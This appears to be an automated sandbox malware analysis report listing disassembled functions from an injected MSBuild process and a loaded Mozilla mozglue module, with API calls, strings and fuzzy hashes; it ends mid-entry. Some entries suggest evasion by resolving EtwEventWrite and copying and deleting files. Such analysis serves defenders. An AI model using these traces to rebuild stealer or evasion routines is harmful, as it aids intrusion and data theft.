Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8H_prolog3_catchThrow
String ID: vector<T> too long
API String ID: 2448322171-3788999226
Opcode ID: f06b38253ece6012c9e08a18db6e267593db03dea8d040c3a1839e0d12be0c5f
Instruction ID: 61275a027c2194a9b0a26cc606bf89a41a3a5cf2b181ed7f6831a07118e04739
Opcode Fuzzy Hash: f06b38253ece6012c9e08a18db6e267593db03dea8d040c3a1839e0d12be0c5f
Instruction Fuzzy Hash: 8031E872B503269BDB08EF6DAC456ED77E29B04311F51103FE520E7290D6BE9EC08B48

Function 004134D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004134F7
StrCmpCA.SHLWAPI(00000000,004367EC,?), ref: 00413523
strtok_s.MSVCRT ref: 00413589

Strings

)zA, xrefs: 004134E9, 004134EC

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: )zA
API String ID: 3330995566-483804167
Opcode ID: bf8d56f2f949b0d4b8340cdd9a1d7cdc46d4818ee2dc8c66d0a0daddc3e36a3b
Instruction ID: e25e2a4fac4fdaa3031c2764c7a521eb05de7460a47cf09186ea45e794858a97
Opcode Fuzzy Hash: bf8d56f2f949b0d4b8340cdd9a1d7cdc46d4818ee2dc8c66d0a0daddc3e36a3b
Instruction Fuzzy Hash: D6219571D00109BFCB18DF64C881ADABBADFF18705F11905BE809EB251E774DB858B98

Function 00413390 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004133AF
StrCmpCA.SHLWAPI(00000000,004367E0,?), ref: 004133E8

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

strtok_s.MSVCRT ref: 00413424

Strings

lyA, xrefs: 004133A1, 004133A4

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: lyA
API String ID: 348468850-1101682927
Opcode ID: 8264b25575d11c6665f1d6882f8df24621dd193d67bd68e77faf64de46faf031
Instruction ID: 530b5b9384520956d988ef5f9eef14088f7e00acaaf5feba0a58aa85cdec459f
Opcode Fuzzy Hash: 8264b25575d11c6665f1d6882f8df24621dd193d67bd68e77faf64de46faf031
Instruction Fuzzy Hash: 74118171900115AFDB01DF54C945BDAB7BCBF1430AF119067E805EB192EB78EF988B98

Function 6CAAE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAAE577
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAE584
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAAE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAAE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAAE826, 6CAAE850
MOZ_PROFILER_STARTUP, xrefs: 6CAAE5A1, 6CAAE5CC, 6CAAE5FF, 6CAAE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAAE722, 6CAAE750, 6CAAE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAAE777

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 436a12078fc5bd459f591a52f2ba93d6d5cf879369b022176a809c14db6d9e4a
Instruction ID: 39e56dc4395e7a5dc1b7af374f53f301d17be4ec79144204ea7178f38c2e9254
Opcode Fuzzy Hash: 436a12078fc5bd459f591a52f2ba93d6d5cf879369b022176a809c14db6d9e4a
Instruction Fuzzy Hash: 33110431600355DFCB049F18E848B6ABBF4FBCD328F004A1CE84247640C770A886DBD5

Function 0040F27D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F282

Part of subcall function 0042ED48: std::exception::exception.LIBCMT ref: 0042ED5D
Part of subcall function 0042ED48: __CxxThrowException@8.LIBCMT ref: 0042ED72
Part of subcall function 0042ED48: std::exception::exception.LIBCMT ref: 0042ED83

std::_Xinvalid_argument.LIBCPMT ref: 0040F28D

Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDAA
Part of subcall function 0042ED95: __CxxThrowException@8.LIBCMT ref: 0042EDBF
Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDD0

Strings

string too long, xrefs: 0040F27D
invalid string position, xrefs: 0040F288

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: 9b28dc53f463485330f6a4ed4178d81a02b5d790413623de6439b9d5aa09e46c
Instruction ID: 050f922ca1b6ca8f4e1908b6b02623b4f0d246f3566f5b0efb2f51b0d905e2b1
Opcode Fuzzy Hash: 9b28dc53f463485330f6a4ed4178d81a02b5d790413623de6439b9d5aa09e46c
Instruction Fuzzy Hash: F4D012A565020C77CB04E79AEC06ACDBAE99F48714F60016BF605E3645EA7457005569

Function 00411D61 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
HeapAlloc.KERNEL32(00000000), ref: 00411D73
wsprintfW.USER32 ref: 00411D84

Strings

%hs, xrefs: 00411D7E

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 3ad6661e342435e3454c6033efd35680c758cdf589e793b7d7a2c9c560a2e302
Instruction ID: 516a0af99a9d3ed9a850d6bfca40a0a85ae49b58000b6b42a5d70a6c01262027
Opcode Fuzzy Hash: 3ad6661e342435e3454c6033efd35680c758cdf589e793b7d7a2c9c560a2e302
Instruction Fuzzy Hash: F2D0A73134031477C61027D4BC0DF9A3F2CDB067A2F001130FA0DD6151C96548144BDD

Function 004013F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00401402
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040140D
ReleaseDC.USER32(00000000,00000000), ref: 00401416

Strings

DISPLAY, xrefs: 004013FD

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceRelease
String ID: DISPLAY
API String ID: 1843228801-865373369
Opcode ID: 33e81c7ac2b4efe58422cce53f5375a4bbf1907aa3336fb1fd9e34ea2f4a14f5
Instruction ID: 8e30a772f34bc18014c8bc65a96e37b09177bab2fcbbd7f13fbecb9c10718287
Opcode Fuzzy Hash: 33e81c7ac2b4efe58422cce53f5375a4bbf1907aa3336fb1fd9e34ea2f4a14f5
Instruction Fuzzy Hash: E1D012353C030477F1782B50BC5FF1A2934D7C5F02F201124F311980D046A41402963E

Function 004018B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 004018BA
GetProcAddress.KERNEL32(00000000,EtwEventWrite), ref: 004018CB

Strings

EtwEventWrite, xrefs: 004018C5
ntdll.dll, xrefs: 004018B5

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: EtwEventWrite$ntdll.dll
API String ID: 1646373207-1851843765
Opcode ID: 261c854949ff6dc680d122a3d916ecaabb97ff76cf6ffc3eb231d92ebdcf5f21
Instruction ID: 332e91eb672bb2521264d8136dfbe431d36f664d63eccb5b174788cf7ccf42d0
Opcode Fuzzy Hash: 261c854949ff6dc680d122a3d916ecaabb97ff76cf6ffc3eb231d92ebdcf5f21
Instruction Fuzzy Hash: 7AB092607C0340979E146B766E9DB0626687A94B437987162B18AD01B0D7BC8024AB1E

Function 6CAB0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB0CD5

Part of subcall function 6CA9F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA9F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB0D40
free.MOZGLUE ref: 6CAB0DCB

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

free.MOZGLUE ref: 6CAB0DDD
free.MOZGLUE ref: 6CAB0DF2

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 9b57ea94396f0904109334c3794d5ea081ae810e8654fe83e94bd3c3a23b3d9f
Instruction ID: c7210dc63c32f1efa47e028c0f045bb6beb4e3ff2c20139484f91024bea911ed
Opcode Fuzzy Hash: 9b57ea94396f0904109334c3794d5ea081ae810e8654fe83e94bd3c3a23b3d9f
Instruction Fuzzy Hash: 07413CB19087809BD720CF29C14079AFBE5BFC9714F118A1EE8D897750D770A489CB92

Function 6CABCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABCDA4

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

Part of subcall function 6CABD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CABCDBA,00100000,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABD158
Part of subcall function 6CABD130: InitializeConditionVariable.KERNEL32(00000098,?,6CABCDBA,00100000,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABCDC4

Part of subcall function 6CAB7480: ReleaseSRWLockExclusive.KERNEL32(?,6CAC15FC,?,?,?,?,6CAC15FC,?), ref: 6CAB74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABCECC

Part of subcall function 6CA7CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA7CAA2

Part of subcall function 6CAACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CABCEEA,?,?,?,?,00000000,?,6CAADA31,00100000,?,?,00000000), ref: 6CAACB57
Part of subcall function 6CAACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CAACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CABCEEA,?,?), ref: 6CAACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CAADA31,00100000,?,?,00000000,?), ref: 6CABD058

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 5525a589f3aa030655e7144b7362cfa61ccecb8da62df1bbf7b05d6de1806f82
Instruction ID: efd941865964e9e449508ed75ffce9ddba9ff06175c57c2ec0d8eb975a337057
Opcode Fuzzy Hash: 5525a589f3aa030655e7144b7362cfa61ccecb8da62df1bbf7b05d6de1806f82
Instruction Fuzzy Hash: 2FD16C71A04B069FD708CF38C580B99B7E1FF89308F05866DD8599B712EB31A9A5CB81

Function 0040B021 Relevance: 6.2, APIs: 4, Instructions: 222filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B0C6
lstrlenA.KERNEL32(?), ref: 0040B27C
lstrlenA.KERNEL32(?), ref: 0040B297
DeleteFileA.KERNEL32(?), ref: 0040B2E9

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: b6931e6914fc49fbb8edde26d31d10c5b71b5c57f37ea696962256edb33b7e5e
Instruction ID: 7922583fdf1351494b1b7a908dabacba369aff368dd4d2fd8f0e74d9ed62941a
Opcode Fuzzy Hash: b6931e6914fc49fbb8edde26d31d10c5b71b5c57f37ea696962256edb33b7e5e
Instruction Fuzzy Hash: FF810F72A001199BCF01FBA6DE469DDB775AF04309F51003AF500B71A1DBB9AE898B99

Function 6CA85C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA85D40
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA85D67
__aulldiv.LIBCMT ref: 6CA85DB4
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA85DED

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: b00fead2e6e4b4a7c4c90ba249b79996daed429101766b4e74d24a2bfab04c5c
Instruction ID: c778a48ca5468714decd5af88ebb5dee83f8c0280375fee2e432bf2b5beaea8e
Opcode Fuzzy Hash: b00fead2e6e4b4a7c4c90ba249b79996daed429101766b4e74d24a2bfab04c5c
Instruction Fuzzy Hash: D7515E71E0125A8FDF08CFA8C954AAEBBB2FB89304F19861DDC11A7750C7306986DBD0

Function 6CA6CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA6CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA6CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA6CF4E

Strings

0, xrefs: 6CA6CF30

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9b700dd66753a7ec6e260141c2e0f41569bc92e788b0aef819785c322dfc135b
Instruction ID: a9ee17770c73b995f7731c59bcc2f6bbb79ace973dd88248847e6f40738377fb
Opcode Fuzzy Hash: 9b700dd66753a7ec6e260141c2e0f41569bc92e788b0aef819785c322dfc135b
Instruction Fuzzy Hash: 16512171A002568FCB00CF19C890AAAFBB5EF99304F19859DD8595F792D331ED46CBE0

Function 6CAA6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAA82BC,?,?), ref: 6CAA649B

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA64A9

Part of subcall function 6CA9FA80: GetCurrentThreadId.KERNEL32 ref: 6CA9FA8D
Part of subcall function 6CA9FA80: AcquireSRWLockExclusive.KERNEL32(6CAEF448), ref: 6CA9FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA653F
free.MOZGLUE(?), ref: 6CAA655A

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 4b933ec47fa225b866a68abdb73698c5d901b1be47a2eadcac934f0e0a13d188
Instruction ID: 185350884b4a9a65cb1b1a9b4345ca22267077901a7e4d5e92b17235fe8d8650
Opcode Fuzzy Hash: 4b933ec47fa225b866a68abdb73698c5d901b1be47a2eadcac934f0e0a13d188
Instruction Fuzzy Hash: B73170B5A043059FD744CF24D984A9ABBF4FF89314F00892EE85A97741DB30E959CF92

Function 0041BECA Relevance: 6.1, APIs: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041BF0F
_memmove.LIBCMT ref: 0041BF23
_memmove.LIBCMT ref: 0041BF70
